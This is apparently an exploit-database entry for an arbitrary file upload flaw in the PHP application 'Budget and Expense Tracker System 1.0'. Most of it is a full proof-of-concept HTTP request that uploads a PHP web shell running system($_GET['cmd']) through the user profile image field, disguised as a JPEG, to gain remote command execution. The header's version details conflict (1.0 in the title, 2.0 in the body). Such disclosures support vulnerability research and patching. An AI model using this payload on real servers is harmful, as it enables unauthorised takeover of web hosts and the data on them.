Budget and Expense Tracker System 1.0 – Arbitrary File Upload
# Exploit Title: Budget and Expense Tracker System 1.0 - Arbitrary File Upload # Exploit Author: ()t/\/\1 # Date: 23/09/2021 # Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html # Tested on: Linux # Version: 2.0 # Exploit Description: The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands. # PoC request POST /expense_budget/classes/Users.php?f=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/expense_budget/admin/?page=user X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------1399170066243244238234165712 Content-Length: 824 Connection: close Cookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c -----------------------------1399170066243244238234165712 Content-Disposition: form-data; name="id" 1 -----------------------------1399170066243244238234165712 Content-Disposition: form-data; name="firstname" A -----------------------------1399170066243244238234165712 Content-Disposition: form-data; name="lastname" a -----------------------------1399170066243244238234165712 Content-Disposition: form-data; name="username" admin -----------------------------1399170066243244238234165712 Content-Disposition: form-data; name="password" -----------------------------1399170066243244238234165712 Content-Disposition: form-data; name="img"; filename="na3na3.php" Content-Type: image/jpeg <?php echo "<pre>";system($_GET['cmd']); ?> -----------------------------1399170066243244238234165712-- |